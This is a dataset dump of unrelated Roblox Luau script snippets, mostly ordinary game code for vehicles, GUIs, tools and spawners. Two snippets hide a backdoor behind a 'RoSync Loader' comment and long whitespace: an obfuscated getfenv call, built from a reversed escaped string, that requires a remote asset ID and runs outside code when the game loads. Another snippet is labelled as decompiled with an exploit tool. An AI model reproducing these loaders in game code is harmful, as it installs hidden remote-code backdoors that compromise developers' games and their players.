Roblox/luau_corpus huggingface dataset:
------------------------------------------------------------------
local LockGui = nil
local AimGui = nil
local TargetPlayer = nil
local Locked = false
local Targeting = false
--[=[
	Observes the parent of the instance as long as it exists. This is very common when
	initializing parent interfaces or other behaviors using binders.

	@param instance Instance
	@return Observable<Brio<Instance>>
]=]
function RxInstanceUtils.observeParentBrio(instance)
	return RxInstanceUtils.observePropertyBrio(instance, "Parent", function(parent)
		return parent ~= nil
	end)
end
-- Determines which spawners will actively spawn enemies based off the waypoint (attachments in Workspace.TrackParts), the cart is currently at
local EnemySpawning = {}

local waypoints = {}

waypoints[1] = { "Spawner1", "Spawner2", "Spawner6", "Spawner7" }
waypoints[2] = { "Spawner2", "Spawner3", "Spawner4", "Spawner5" }
waypoints[3] = { "Spawner2", "Spawner5", "Spawner6", "Spawner7" }
waypoints[4] = { "Spawner2", "Spawner3", "Spawner5", "Spawner6", "Spawner7" }
waypoints[5] = {}
waypoints[6] = { "Spawner8", "Spawner9", "Spawner12", "Spawner17" }
waypoints[7] = { "Spawner10", "Spawner11", "Spawner12", "Spawner17" }
waypoints[8] = { "Spawner10", "Spawner11", "Spawner13", "Spawner14" } 
waypoints[9] = { "Spawner8", "Spawner10", "Spawner12", "Spawner14" } 
waypoints[10] = { "Spawner8", "Spawner9", "Spawner11", "Spawner14" } 
waypoints[11] = { "Spawner15", "Spawner16", "Spawner18", "Spawner13"}
waypoints[12] = { "Spawner15", "Spawner16", "Spawner19", "Spawner20" } 

EnemySpawning.waypoints = waypoints

return EnemySpawning
-- place this script under the gui object you want to rotate and use the rotation and speed value to change the rotation (degrees) and speed (seconds for full loop)

local RunService = game:GetService("RunService")
function slerp(a,b,x)
	return a*(((1+(math.cos(x*math.pi)))/2)) + b*(((1-(math.cos(x*math.pi)))/2))
end

local object = script.Parent
local count = 0.0
local rotation = object.Rotation	

RunService.Heartbeat:Connect(function(step)
	count += step / script.speed.Value * 2
	if step <= 1 then
		object.Rotation = slerp(-script.rotation.Value,script.rotation.Value,count)+rotation
	else if step <= 2 then
			object.Rotation = slerp(script.rotation.Value,-script.rotation.Value,count)+rotation
		else
			count = 0
		end
	end
end)
--- Takes an array of arguments and a max value.
-- Any indicies past the max value will be appended to the last valid argument.
function Util.MashExcessArguments(arguments, max)
	local t = {}
	for i = 1, #arguments do
		if i > max then
			t[max] = ("%s %s"):format(t[max] or "", arguments[i])
		else
			t[i] = arguments[i]
		end
	end
	return t
end
-- Replica signals:
rev_ReplicaSignal.OnClientEvent:Connect(function(replica_id, ...) -- (replica_id, params...)
	local replica = Replicas[replica_id]
	-- Signaling listeners:
	local listeners = replica._signal_listeners
	for _, listener in ipairs(listeners) do
		listener(...)
	end
end)
------------------------------------------------------------------
local EngineOn = false
local Selected = false
local LockedCam = false
local LowestPoint = 0
local DesiredSpeed = 0
local CurrentSpeed = 0
local TrueAirSpeed = 0
local Throttle = 0
-- Shell physical properties
EjectionForce.PhysProperties = PhysicalProperties.new(
	10, -- Density
	30, -- Friction
	0.1, -- Elasticity
	10, -- FrictionWeight
	1 -- ElasticityWeight
)
--// Character


local Character = Player.Character or Player.CharacterAdded:Wait()
local CharHMR = Character:WaitForChild("HumanoidRootPart")
--[[Engine]]
	--Torque Curve
	Tune.Horsepower		= 500		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16
	
	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)
--// Hash: e76ab6b5f74107b63444061a151808bff4d388a0efb1db95152961f726781a340b57a270e4c2f5dcf6522a615db73c1b
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {
	data = {}, 
	event = {}
};
local v2 = { "Knobs", "Revives", "Boosts", "Statistics", "Achievements" };
for v3, v4 in pairs(v2) do
	local v5 = Instance.new("BindableEvent");
	v5.Name = v4 .. "Updated";
	v5.Parent = script;
	v1.event[v4] = v5;
end;
v6 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaController"));
local l__LocalPlayer__7 = game:GetService("Players").LocalPlayer;
v6.RequestData();
v6.ReplicaOfClassCreated("PlayerProfile", function(p1)
	local v8 = p1.Tags.Player == l__LocalPlayer__7;
	if not v8 then
		local v9 = p1.Tags.Player.Name .. "'s";
	end;
	local l__Data__10 = p1.Data;
	v1.data = l__Data__10;
	if v8 then
		for v11, v12 in pairs(v2) do
			p1:ListenToChange({ v12 }, function(p2)
				v1.event[v12]:Fire(l__Data__10[v12]);
			end);
			v1.event[v12]:Fire(l__Data__10[v12]);
		end;
	end;
end);
local v13 = tick();
while true do
	wait();
	if v6.InitialDataReceived then
		break;
	end;
end;
local v14 = tick();
return v1;
-- I recommend you leave this true because players could appear
-- to be noclipping even if they're not exploiting. For example,
-- from hopping around while inside a moving boat.
config.AllowNoclippingThroughPhysicsObjects = true
-- / Remote Events / --
local ToolEvent = Tool:WaitForChild("ToolEvent")
--------SETTINGS--------
local ITEM_NAME = "Sniper"
local ITEM_PRICE = 10
local CURRENCY_NAME = "Cash"
--------------------------------------------------
script.Parent.Values.RPM.Changed:connect(function()
	intach.Rotation = -80 + script.Parent.Values.RPM.Value * 240 / 8000
end)

script.Parent.Values.Velocity.Changed:connect(function(property)
	inspd.Rotation = -30 + (440 / 160) * (math.abs(script.Parent.Values.Velocity.Value.Magnitude*((6/12) * (50/88))))
end)

if _Tune.Aspiration ~= "Natural" then 
	if _Tune.Aspiration == "Single" then 
		_TCount = 1 
	elseif _Tune.Aspiration == "Double" then 
		_TCount = 2 
	end
	script.Parent.Values.Boost.Changed:connect(function()
		local boost = (math.floor(script.Parent.Values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5)
		inbst.Rotation = -30 + 61 * math.min(1,(script.Parent.Values.Boost.Value/(_Tune.Boost)/_TCount))
	end)
end
--[[ By: Brutez. ]]--
local CameraRotateScript=script;
local Camera=CameraRotateScript.Parent;
while true do
for RotateRight=1,100 do
Camera.CFrame=Camera.CFrame*CFrame.fromEulerAnglesXYZ(0,math.rad(-0.5),0)
wait(0)
end
wait(2)
for RotateLeft=1,100 do
Camera.CFrame=Camera.CFrame*CFrame.fromEulerAnglesXYZ(0,math.rad(0.5),0)
wait(0)
end
wait(2)
end
--script.Parent.ScreenGui.Parent = game.ServerStorage

script.Parent.Equipped:Connect(function(Hit)
	script.Parent.Hand.Equip:Play()
	
	
	if script.Parent.Configuration.HasAbility.Value == true then
			script.Parent.AbilityServer.Disabled = false
	script.Parent.Ability.Disabled = false
	player = game.Players:GetPlayerFromCharacter(script.Parent.Parent)
	Mobile = script.Parent.MobileGui:Clone()
	
	Mobile.Parent = player.PlayerGui

	end
end)

script.Parent.Unequipped:Connect(function(Hit2)
	script.Parent.Hand.Equip:Stop()
	
	if script.Parent.Configuration.HasAbility.Value == true then
			script.Parent.AbilityServer.Disabled = true
	script.Parent.Ability.Disabled = true
	Mobile:Destroy()

	end
end)
-- VisualComponents by Travis, modified for native visuals. 

local Functions = require(script.Parent.Functions)
Functions.Start(game.Workspace.VisualComponents)
--[[ ROBLOX TODO: Unhandled node for type: TSIndexedAccessType ]]
--[[ export const serialize: NewPlugin['serialize'] ]]
local function serialize(
	element: any,
	config: Config,
	indentation: string,
	depth: number,
	refs: Refs,
	printer: Printer
): string
	depth += 1
	return if depth > config.maxDepth
		then printElementAsLeaf(getType(element), config)
		else printElement(
			getType(element),
			printProps(getPropKeys(element), element.props, config, indentation .. config.indent, depth, refs, printer),
			printChildren(
				getChildren(element.props.children),
				config,
				indentation .. config.indent,
				depth,
				refs,
				printer
			),
			config,
			indentation
		)
end

exports.serialize = serialize
--[[ Last synced 4/6/2021 11:59                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- Error handler
function red.error(err)
	print(err)
end

red.remotes = RunService:IsClient() and
	ReplicatedStorage:WaitForChild(Constants.remoteFolderName) or
	ReplicatedStorage:FindFirstChild(Constants.remoteFolderName)

if not red.remotes then
	-- Container for remotes
	red.remotes = Instance.new('Folder')
	red.remotes.Name = Constants.remoteFolderName
	
	-- store:dispatch() calls from client to server and server to client
	local client = Instance.new('RemoteEvent')
	client.Name = 'Client'
	client.Parent = red.remotes
	
	-- store:dispatch() calls from server to server
	local server = Instance.new('BindableEvent')
	server.Name = 'Server'
	server.Parent = red.remotes
	
	red.remotes.Parent = ReplicatedStorage
end

return Util.extend(red, {
	Server = require(script.Server),
	State = require(script.State),
	Store = require(script.Store)
})
--This is the server sided module for handling this vehicles seating requests
local Players = game:GetService("Players")
local Workspace = game:GetService("Workspace")
local HttpService = game:GetService("HttpService")
local CollectionService = game:GetService("CollectionService")

local DOOR_OPEN_SPEED = 2.15
local DOOR_OPEN_ANGLE = 55
local DOOR_OPEN_TIME = 0.5 --How long the door stays open for when entering/leaving

local MAX_SEATING_DISTANCE = 15

local RemotesFolder = nil --Set later in the code by the SetRemotesFolder function
	
local SeatTag = "Seat_" ..HttpService:GenerateGUID()
--TheNexusAvenger
--Runs the rocket projectile.

local Configuration = require(script:WaitForChild("Configuration"))

local FORCE_GRANULARITY = Configuration.FORCE_GRANULARITY
local BLAST_RADIUS = Configuration.BLAST_RADIUS
local BLAST_PRESSURE = Configuration.BLAST_PRESSURE * FORCE_GRANULARITY
local ROCKET_DECAY_TIME = Configuration.ROCKET_DECAY_TIME
local MAX_DAMAGE = Configuration.MAX_DAMAGE
local MIN_DAMAGE = Configuration.MIN_DAMAGE
local IGNORE_LIST = Configuration.IGNORE_LIST



local Rocket = script.Parent
local SwooshSound = Rocket:WaitForChild("SwooshSound")

local Debris = game:GetService("Debris")
local ReplicatedStorage = game:GetService("ReplicatedStorage")

local ExplodeEvent = Instance.new("RemoteEvent")
ExplodeEvent.Name = "Explode"
ExplodeEvent.Parent = Rocket

local PlayerDamager = require(script:WaitForChild("PlayerDamager"))
local FiredByValue = Rocket:WaitForChild("FiredBy",10^99)
while FiredByValue.Value == nil do FiredByValue.Changed:Wait() end

local FiredPlayer = FiredByValue.Value
local FiredCharacter = FiredPlayer.Character
local Exploded = false

SwooshSound:Play()
Debris:AddItem(Rocket,ROCKET_DECAY_TIME)

for Key,Value in pairs(IGNORE_LIST) do
	if type(Key) == "string" then
		IGNORE_LIST[string.lower(Key)] = Value
	end
end
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound")

UIS.InputBegan:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.Z and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and energy.Value > 12 then
		Debounce = 2
		Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge)
		Track1:Play()
		script.RemoteEventS:FireServer()
		for i = 1,math.huge do
			if Debounce == 2 then
				
				plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
				plr.Character.HumanoidRootPart.Anchored = true
			else
				
				break
				end
	     wait()
	  end
	end
end)

UIS.InputEnded:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.Z and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
		Debounce = 3
		local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease)
		Track2:Play()
		Track1:Stop()
		Sound:Play()
		local mousepos = Mouse.Hit
		script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
		wait(1)
		Track2:Stop()
		plr.Character.HumanoidRootPart.Anchored = false
		wait(.5)
		Tool.Active.Value = "None"
		wait(3)
		Debounce = 1
	end
end)
-- a single button script :p

local THEbutton = script.Parent.Button
local CD = Instance.new("ClickDetector",THEbutton)
CD.MaxActivationDistance = 5

local deb = false
local TS = game:GetService("TweenService")
local og_pos = THEbutton.CFrame
CD.MouseClick:Connect(function()
	if not deb then
		deb = true
		local start = TS:Create(THEbutton,TweenInfo.new(.1,Enum.EasingStyle.Quad,Enum.EasingDirection.In,0,false,0),{CFrame = og_pos* CFrame.new(-.03,0,0)})
		start.Completed:Connect(function()
			local End = TS:Create(THEbutton,TweenInfo.new(.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = og_pos})
			End.Completed:Connect(function()
				deb = false
			end)
			End:Play()
		end)
		start:Play()
	end
end)
--returns the wielding player of this tool
function getPlayer()
	local char = Tool.Parent
	return game:GetService("Players"):GetPlayerFromCharacter(Character)
end

function Toss(direction)
	local OriginalWalkSpeed = Humanoid.WalkSpeed
	OriginalWalkSpeed = OriginalWalkSpeed
	Humanoid.WalkSpeed = 0
	local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z)
	local spawnPos = Character.Head.Position
	spawnPos  = spawnPos + (direction * 5)
	Tool.Handle.Transparency = 1
	local Object = Tool.Handle:Clone()
	Object.Parent = workspace
	Object.Transparency = 0
	Object.Swing.Pitch = math.random(90, 110)/100
	Object.Swing:Play()
	Object.CanCollide = true
	Object.CFrame = Tool.Handle.CFrame
	Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0)
	Object.Fuse:Play()
	Object.Sparks.Enabled = true
	local rand = 11.25
	Object.RotVelocity = Vector3.new(math.random(-rand,rand),math.random(-rand,rand),math.random(-rand,rand))
	Object:SetNetworkOwner(getPlayer())
	local ScriptClone = DamageScript:Clone()
	ScriptClone.FriendlyFire.Value = FriendlyFire
	ScriptClone.Damage.Value = AttackDamage
	ScriptClone.Parent = Object
	ScriptClone.Disabled = false
	local tag = Instance.new("ObjectValue")
	tag.Value = getPlayer()
	tag.Name = "creator"
	tag.Parent = Object
	Humanoid.WalkSpeed = OriginalWalkSpeed
	Tool:Destroy()
end

Remote.OnServerEvent:Connect(function(player, mousePosition)
	if not AttackAble then return end
	AttackAble = false
	if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
		Remote:FireClient(getPlayer(), "PlayAnimation", "Animation")
	end
	local targetPos = mousePosition.p
	local lookAt = (targetPos - Character.Head.Position).unit
	Toss(lookAt)
	LeftDown = true
end)

function onLeftUp()
	LeftDown = false
end

Tool.Equipped:Connect(function()
	Character = Tool.Parent
	Humanoid = Character:FindFirstChildOfClass("Humanoid")
end)
--[[ Last synced 10/14/2020 09:36 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--Serverside logic
Event.OnServerEvent:Connect(function(player,ExhaustParticle,FireBool)
	
	print("ExhaustParticle")
	
	if FireBool then
		
		local RanNum = tostring(math.random(1,3))
		ExhaustPart2["Backfire"..RanNum]:Play()
		ExhaustPart2.PointLight.Enabled = true
		ExhaustPart2[ExhaustParticle].Enabled = true
		
		if ExhaustParticle == "FlamesSmall" then 
			
			ExhaustPart2.PointLight.Range = 6  
			ExhaustPart2.PointLight.Brightness = 5
			ExhaustPart2.Sparks.Enabled = false
			
		else 
			
			ExhaustPart2.PointLight.Range = 8
			ExhaustPart2.PointLight.Brightness = 12
			ExhaustPart2.Sparks.Enabled = true
			
		end	
		
	else
		
		ExhaustPart2[ExhaustParticle].Enabled = false
		ExhaustPart2.PointLight.Enabled = false
		
	end	
	
end)
--Left lean Multiplier
R6LeftLegLeftLeanM = 2.2
R6RightLegLeftLeanM = 1
R6LeftArmLeftLeanM = 1
R6RightArmLeftLeanM = 2
R6TorsoLeftLeanM = 1
-- UI elements
local dlg = script.Parent
local ResultString = dlg:FindFirstChild("ResultString")
local ResultTime = dlg:FindFirstChild("ResultTime")
local ExitButton = dlg:FindFirstChild("ExitButton")

local DISPLAY_DURATION = 3
--!strict
local LuauPolyfill = script.Parent.Parent
local types = require(LuauPolyfill.types)
type Array<T> = types.Array<T>
local map = require(script.Parent.map)

return function<T>(arr: Array<T>, separator: string?): string
	if #arr == 0 then
		return ""
	end
	-- JS does tostring conversion implicitely but in Lua we need to do that explicitely
	local stringifiedArray = map(arr, function(item)
		return tostring(item)
	end)

	return table.concat(stringifiedArray, separator or ",")
end
--// # key, Traffic Director
mouse.KeyDown:connect(function(key)
	if key=="k" then 
		veh.Lightbar.middle.Beep:Play()
		veh.Lightbar.Remotes.TDEvent:FireServer(true)
	end
end)
-- функция слежения, будет исполняться когда будет добавлен новый элемент
function Sledim(param)	
	local txt = tostring(param.Value)
	
	local tmp = frame:Clone()
	tmp.TextLabel.Text = txt
	tmp.Parent = sf
	
	-- отсюда начнётся магия
	Debris:AddItem(tmp,MyTimer)		-- самоуничтожение через указанное время
	Debris:AddItem(param,MyTimer)	-- оригинал с сообщением тоже прикончим
	
	local tween = TweenService:Create(tmp, tweenInfo, result)	-- сжимаем
	local tween2 = TweenService:Create(tmp.TextLabel, tweenInfo, result2)	-- исчезаем
	tween:Play()
	tween2:Play()
end

incoming.ChildAdded:Connect(Sledim)	-- реагировать на новый элемент
--------LEFT DOOR --------
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
-- Changes the body orientiation to make it face a given direction. Returns the computed angles
function OrientableBody:face(direction: Vector3): Vector2?
	local humanoid: Humanoid? = self.character and self.character:FindFirstChild("Humanoid")
	if not humanoid or not humanoid.RootPart then
		return nil
	end

	direction = humanoid.RootPart.CFrame:PointToObjectSpace(humanoid.RootPart.Position + direction)

	local verticalAngle = math.asin(direction.Y)
	if verticalAngle < Constants.OFFSET_Y and verticalAngle > -Constants.OFFSET_Y then
		-- Vertical angle is within dead zone, do not change head orientation
		verticalAngle = 0
	else
		if verticalAngle > 0 then
			verticalAngle = verticalAngle - Constants.OFFSET_Y
		else
			verticalAngle = verticalAngle + Constants.OFFSET_Y
		end
	end

	local horizontalAngle = math.atan2(-direction.X, -direction.Z)
	-- If looking behind the character, it will instead rotate towards the camera
	if horizontalAngle > math.pi / 2 then
		horizontalAngle = math.pi - horizontalAngle
	elseif horizontalAngle < -math.pi / 2 then
		horizontalAngle = -math.pi - horizontalAngle
	end

	self.motor:setGoal({
		horizontalAngle = Otter.spring(horizontalAngle),
		verticalAngle = Otter.spring(verticalAngle),
	})

	return Vector2.new(horizontalAngle, verticalAngle)
end